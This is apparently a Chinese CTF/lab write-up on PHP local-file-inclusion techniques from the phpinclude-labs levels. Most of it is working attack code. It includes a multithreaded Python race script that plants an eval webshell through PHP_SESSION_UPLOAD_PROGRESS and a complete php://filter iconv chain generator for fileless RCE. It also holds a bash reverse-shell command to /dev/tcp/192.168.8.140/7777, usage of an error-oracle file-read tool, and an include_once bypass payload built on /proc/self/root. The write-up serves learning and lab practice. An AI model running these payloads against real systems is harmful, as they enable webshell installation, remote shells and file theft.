23
POST /include/1.php HTTP/1.1
Host: phpsec:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=123
Connection: keep-alive
Content-Length: 417
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php fputs(fopen('shell.php', 'w'), '<?php @eval($_POST["cmd"]); ?>'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="q.txt"
Content-Type: text/plain

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
------WebKitFormBoundary7MA4YWxkTrZu0gW--

有没有优雅一点的方式有!使用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import io
import time
import requests
import threading

sessid = 'Qftm'
url = 'http://192.168.8.140:8899/include/1.php'
session_file = f'C:/phpstudy_pro/Extensions/tmp/tmp/sess_{sessid}' # 确认路径正确

# 恶意代码:写入 webshell
malicious_code = "<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[\"cmd\"]);?>');?>"


def post_worker():
"""单个 POST 线程的工作函数"""
session = requests.Session()
while True:
try:
f = io.BytesIO(b'a' * 1024 * 200) # 200KB
session.post(
url,
data={"PHP_SESSION_UPLOAD_PROGRESS": malicious_code},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid},
timeout=3
)
except:
pass


def read_worker():
"""单个 READ 线程的工作函数"""
session = requests.Session()
while True:
try:
r = session.get(url, params={'file': session_file}, cookies={'PHPSESSID': sessid}, timeout=3)
if 'shell.php' in r.text:
print('[!] 成功写入 shell.php!')
except:
pass


if __name__ == '__main__':
# 启动 20 个 POST 线程
for _ in range(20):
t = threading.Thread(target=post_worker)
t.daemon = True
t.start()

# 启动 10 个 READ 线程
for _ in range(10):
t = threading.Thread(target=read_worker)
t.daemon = True
t.start()

print('已启动所有线程,按 Ctrl+C 退出')
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print('退出')

注意使用这个脚本的时候要修改里面的路径,变量名啥的,根据自己的实际情况哦(终于写好了,有些文章里面的脚本是执行不了的,大概率是线程不够的原因,我稍加修改得到此脚本)

如果还是不行的话,就猛猛加线程

THE_END_OF_LFI

session文件包含结束!接下迎来的是THE_END_OF_LFI

何为THE_END_OF_LFI

1
利用 php://filter 链(尤其是 iconv + base64-decode)实现无文件、无写入的远程代码执行(RCE)

非传统的文件包含漏洞,这个是无文件无写入的,利用php://filter的逆天操作

来到环境phpinclude-labs-main-level_16-1

1
2
3
4
5
<?php 
($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

highlight_file(__FILE__);
?>

题目的逻辑不难

使用php://filter包含flag即可

但是这个题目的优雅点不在这里,优雅点是可以执行

当然不是这样的命令执行

1
2
3
4
import requests
url = 'http://192.168.8.133:8119/'
r = requests.post(url,params={'file':'php://filter/convert.base64-decode/resource=php://input','action':'1'},data='PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==')
print(r.text)

不过没有事,就算你想到了这个如果我的配置是allow_url_include = Off呢?完犊子了怎么办呢

接下来开始操作

因为readfile不能执行文件的代码,include_once可以

所以action要设置为空

1
2
3
4
5
6
7
8
9
10
11
12
这个是下面这个脚本可以做到的

你的代码: <?php system('id'); ?>
↓ base64编码
Base64: PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
↓ 经过多次 iconv 字符集转换
↓ 每次转换都会改变数据
↓ 最后一步 base64-decode

原始PHP代码重现

include() 执行它

为什么要反复转化

因为

没有文件依赖:不需要服务器上存在任何文件

内存中执行:使用 php://temp 或 php://memory,所有操作在内存中完成

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload

def main():

# Parsing command line arguments
parser = argparse.ArgumentParser(description="PHP filter chain generator.")

parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
args = parser.parse_args()
if args.chain is not None:
chain = args.chain.encode('utf-8')
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
chain = generate_filter_chain(base64_value)
print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
print(chain)
if args.rawbase64 is not None:
rawbase64 = args.rawbase64.replace("=", "")
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
if (match):
chain = generate_filter_chain(rawbase64, True)
print(chain)
else:
print ("[-] Base64 string required.")
exit(1)

if __name__ == "__main__":
main()

使用方法

1
python 1.py --chain "<?php system('cat /flag'); ?>"

然后保存一下输出的内容

在URL里面提交

1
?file=保存的内容&action=

大家可以看看输出的内容是啥,我就在python代码里面展示了

1
2
3
4
import requests
url = 'http://192.168.8.133:8119/'
r = requests.get(url,params={'file':'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp','action':'1'})
print(r.text)

尝试bash反弹和webshell

1
2
3
4
python 1.py --chain "<?php system('bash -i >& /dev/tcp/192.168.8.140/7777 0>&1'); ?>"
python3 filter_chain.py --chain "<?php system($_REQUEST['cmd']); ?>"
python3 filter_chain.py --chain "<?php eval($_GET['cmd']); ?>"
python3 filter_chain.py --chain "<?php assert($_GET['cmd']); ?>"

不行

使用反弹shell显示的是get传输的内容太长了

使用webshell显示的是收到的cmd参数是数组报错

现在暂时知道的是因为这个脚本的反复转化的编码导致的[]使用起来有问题,但是因为这个是get传输,所以使用

1
2
# 生成写文件的payload
python3 1.py --chain "<?php file_put_contents('s.php', '<?php system(\$_GET[\"c\"]); ?>'); ?>"

太长了,也不行,显示的错误还是get太长了

难道只能执行单个命令吗,是一个未知数

注意注意这个脚本只适合get传入file参数的时候才能成功

错误信息逐字节读取

环境:phpinclude_lab:level_17

利用PHP错误信息逐字节读取文件

服务端的代码

1
2
3
4
5
6
7
<?php
include("get_flag.php");
file($_POST['file']);

highlight_file(__FILE__);

?>

file(文件路径)函数

作用:读取一个文件的所有内容,按行拆分成数组。但是值得注意的是这个是没有回显的,没有输出函数

1
2
3
<?php
print_r(file('3.php'));
?>

可以使用这个代码了解一下file函数

所以现在我们遇到的这个题目情况是

1
2
3
4
5
无法直接访问(没有回显)

无法执行系统命令(system 被禁用)

只能通过 file($_POST['file']) 或 include($_GET['file']) 传入参数

还是使用脚本,脚本等下给出来

先介绍一种思路

第1步:PHP Filter 链可以处理文件

1
2
3
4
5
// 正常读取文件
file('/flag');

// 用 Filter 链读取(对内容进行编码转换)
file('php://filter/convert.base64-encode/resource=/flag');

第2步:错误的 Filter 会产生不同的错误信息

1
2
3
4
5
6
7
8
// 正确的 Filter(能处理)
file('php://filter/convert.base64-decode/resource=/flag');
// 如果 /flag 内容是合法的 base64 → 成功,无错误
// 如果 /flag 内容不是 base64 → 产生 Warning

// 错误的 Filter(不能处理)
file('php://filter/convert.iconv.UTF8.UTF7/resource=/flag');
// 会产生具体的错误信息

关键:不同的输入会导致不同长度/内容的错误信息!

第3步:通过错误差异反推文件内容

1
2
3
4
5
6
7
8
9
10
11
12
猜测第1个字符是 'f'
↓ 构造特定 Filter 链
↓ 发送请求
↓ 收到错误信息长度 = 100

猜测第1个字符是 'g'
↓ 构造另一个 Filter 链
↓ 发送请求
↓ 收到错误信息长度 = 105 ← 长度不同!

判断:长度不同 = 字符不同
继续尝试,直到找到长度匹配的字符

这里有一个脚本可以实现这个

1
2
3
4
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit

cd php_filter_chains_oracle_exploit
python3 filters_chain_oracle_exploit.py --target http://192.168.8.133:8120/ --file '/flag' --parameter file

参数解释

1
2
3
4
5
--target	http://192.168.8.133:8120/	目标网站的URL地址
--file '/flag' 想要读取的文件路径(服务器上的文件)
--parameter file 漏洞参数名(用户可控的输入参数)

# 注意使用这个工具需要python3.9以上的版本

工作流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌─────────────────────────────────────────────────────────┐
1. 目标:读取 /flag,已知长度 10 字节 │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
2. 开始猜测第 1 个字符 │
│ 尝试所有可能字符 (0-9, a-z, A-Z, 符号...) │
│ 每个字符 → 构造不同 filter → 记录错误长度 │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
3. 发现字符 'f' 的错误长度与其他都不同 │
│ 确定第 1 个字符 = 'f'
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
4. 重复步骤 2-3,猜测第 2, 3, 4... 个字符 │
│ 每次基于已确定的正确字符继续构造 │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
5. 10 个字符全部猜完,得到完整内容 │
│ 输出:flag{abc123} │
└─────────────────────────────────────────────────────────┘

脚本通过不断尝试不同的 PHP Filter 链,观察服务器返回的错误信息长度差异,像猜密码一样逐字节推断出文件内容

image-20260412220948929

所以原理知道个大概就可以了,这个使用方法最大的阻碍可能只有网络问题了(手动狗头)

重复文件包含函数

众所周知require_once和include_once函数的特点是不能重复包含文件,就算你包含了被这两个函数看到也是无视

想一想会不会有什么方法是可以实现的呢?

先看到环境的代码

1
2
3
4
5
6
7
8
9
10
11
<?php 
include("get_flag.php");

include_once("flag.php");

isset($_GET['file']) ? include_once $_GET['file'] : '';

highlight_file(__FILE__);

?>

这一关我们的目的是为了包含flag.php,读取文件内容

但是这个include_once函数在面对没有php标签的时候才输出文件内容,如果是有php标签的话只能执行php代码

而且还有一个重要的是include_once函数会检测这个文件有没有被包含,如果已经被包含的话就不会再次包含了

require_once与include_once这两个函数检测文件是否已经被包含是通过路径是不是相同来检测的

所以我们怎么绕过路径是否相同呢

这里介绍linux下面的一个特殊路径

1
/proc/self

这个是什么

/proc/self 是一个符号链接,指向当前进程的PID目录

/proc/self -> /proc/12345/ # 12345是当前进程的PID

为什么要这样设计?

是因为这样可以方便的访问自己进程的信息

扩展一下可以通过

1
cat /proc/self/status

来访问自己进程当前的状态

了解之后再看

1
/proc/self/root

这个是什么

/proc/self这个是进程的当前的目录,那么/proc/self/root指向系统的真实根目录

image-20260413082040856

这个可以知道什么,可以知道/proc/self/root就是系统的根目录!

这里再扩展一手

为什么要这样设计

  • 支持容器和沙箱
1
2
3
// Docker容器中
/proc/self/root -> /var/lib/docker/overlay2/.../merged
// 不是系统根目录,而是容器的根目录
  • 进程隔离

每个进程可以有自己的根目录视图:

正常进程:/proc/self/root → /

chroot进程:/proc/self/root → /chroot/path

容器进程:/proc/self/root → /container/rootfs

chroot是可以自己在linux里面创建一个小的“监狱”

  • 安全沙箱
1
2
# 进程可以通过 /proc/self/root 访问自己的根目录
# 即使它被chroot限制,仍然可以访问根目录内的文件

接下来回到题目

利用符号链接让路径”看起来不同”

于是我们可以使用如下payload

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

我遇到这个payload的时候会有一个疑问,为什么要使用这么多的/proc/self/root

因为

1
2
3
4
5
6
7
绕过机制
当 realpath() 成功时(例如只有 1 层 /proc/self/root):
真实路径被解析为 /var/www/html/flag.php,哈希表中已经存在(因为第一行 include_once("flag.php") 已经记录),所以 include_once 跳过。

realpath() 失败时(层数足够多):
PHP 无法获得真实路径,于是直接使用用户输入的原始路径作为哈希表的 key。
这个原始路径(长长的字符串)从未出现在哈希表中,因此 include_once 会再次包含该文件,从而绕过了“一次包含”的限制。

在这段话里面的哈希表很好理解

1
2
3
4
5
6
7
8
9
10
11
12
你可以把哈希表想象成 PHP 内部的一个小本本(记录本),专门用来记“哪些文件已经被包含过了”。

// 小本本内容示例
记录1: '/var/www/flag.php' => 已包含
记录2: '/var/www/config.php' => 已包含
记录3: 'php://filter/.../resource=xxx' => 已包含
每次你执行 include_once('某个文件') 时,PHP 会:

先把这个“某个文件”规范化(比如把符号链接转成真实路径,把 .. 去掉等),得到一个标准名字。
去小本本里查:这个名字有没有被记过?
如果记过 → 跳过,不再包含。
如果没记过 → 包含这个文件,然后把名字记到小本本上。

现在已经理解了为什么要有这么多的/proc/self/root

接下来解释为什么要使用php://filter/convert.base64-encode/resource=

因为如果是面对直接使用文件路径

1
